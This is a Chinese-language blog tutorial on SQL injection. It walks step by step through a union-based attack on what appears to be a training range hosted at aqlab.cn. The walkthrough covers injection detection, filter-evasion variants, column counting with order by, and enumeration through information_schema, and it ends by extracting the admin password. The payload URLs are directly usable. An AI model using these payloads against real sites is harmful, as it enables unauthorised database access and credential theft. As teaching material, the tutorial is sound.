SQL注入的原理与分析
1、SQL注入的本质
2、部分SQL语句
3、SQL注入流程
一、SQL注入的本质
SQL注入的本质,就是把用户输入的数据当作代码执行
Web应用程序对用户输入的数据校验处理不严或者根本没有校验,致使用户可以拼接执行SQL命令
两个必要关键的条件:
第一,用户能够控制输入
第二,原本程序要执行的代码拼接了用户输入的数据然后执行
二、部分SQL语句
· column_name 字段名
· table_name 表名
· schema_name 库名
· information_schema 数据库所有信息,库、表、字段
· information_schema.columns 所有字段的信息
table_schema 所在数据库
table_name 所在表
column_name 字段的名字
· information_schema.tables 所有表的信息
table_schema 所在数据库
table_name 表的名字
· information_schema.schemata 所有数据库的信息
schema_name 数据库的名字
三、SQL注入流程
SQL注入流程
· 找与数据库交互的地方
· 判断是否存在注入点,注入是字符型or数字型
· 判断当前表的一个字段数,当前所在的库
· 去系统自带信息库查表名,字段名
· 查询需要的字段数据
SQL注入步骤
1、判断是否存在注入点
最古老的方法:and 1=1 成立 且 and 1=2 不成立 => 存在sql注入
最简单的方法:页面后面加单引号,若报错,则存在sql注入
进阶:如果是数字型传参,可以尝试-1
and 1=1 and 1=2 被拦截的可能性超高
可以尝试 and -1 = -1 或者 -1=-2 或者1>0,,,或者直接or sleep(5)
2、判断当前表的字段数,库名
判断字段数(判断显错位):order by 字段序数 => 这个语法是是排序语法,根据第几个字段排序,例如,该表有2个字段,若是用了 order by 3 则会报错,因为只有两个字段,不可能根据第三个字段排序。字段序数大于字段数则会报错
举例:
http://pu2lh35s.ia.aqlab.cn/?id=1 order by 1 (正常)
http://pu2lh35s.ia.aqlab.cn/?id=1 order by 2 (正常)
http://pu2lh35s.ia.aqlab.cn/?id=1 order by 3 (异常)
异常无法获取到数据
3、union 联合查询
步骤2已经判断出当前页面存在2个字段
union select 1111,22222
输入栏输入:http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 11111,2222 #联合查询表字段数,前后必须一致,2222代表着填充位可以随便写。当and 1=2前面的查询不成立时,才会显示后面填充位的查询记录
4、判断库名
http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 11111,database() #2222换成database()
现在我们已经拿到了当前页面库名maoshe
5、通过库名找到对应的表名
union select 1,table_name from information_schema.tables where table_schema='maoshe'
浏览器输入:http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='maoshe'
到这里表名已经找到
浏览器输入:http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='maoshe' limit 0,1
结果显示:admin (说明admin是第一个表名)
浏览器输入:http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='maoshe' limit 1,2
6、通过表名找到列名
union select 1,column_name from information_schema.columns where table_schema='maoshe' and table_name ='admin'
浏览器输入:http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema='maoshe' and table_name ='admin' limit 0,1
浏览器输入:http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema='maoshe' and table_name ='admin' limit 1,2
浏览器输入:http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema='maoshe' and table_name ='admin' limit 2,3
依次显示表名对应的列名信息
http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='maoshe' and table_name ='admin'
显示所有列名信息:
通过以上步骤知道表名和列名,我们可以直接拿到admin密码
union select 1,password from admin
http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 1,password from admin
密码就是hellhack,到此这个靶场破解成功
参考链接:
http://pu2lh35s.ia.aqlab.cn/?id=1 and 1=2 union select 1,database()
http://www.jsons.cn/urlencode/
https://www.cnblogs.com/yyy413/p/15614044.html
标签:cn,name,union,sql,table,原理,注入,select,schema From: https://www.cnblogs.com/xfbk/p/17729168.html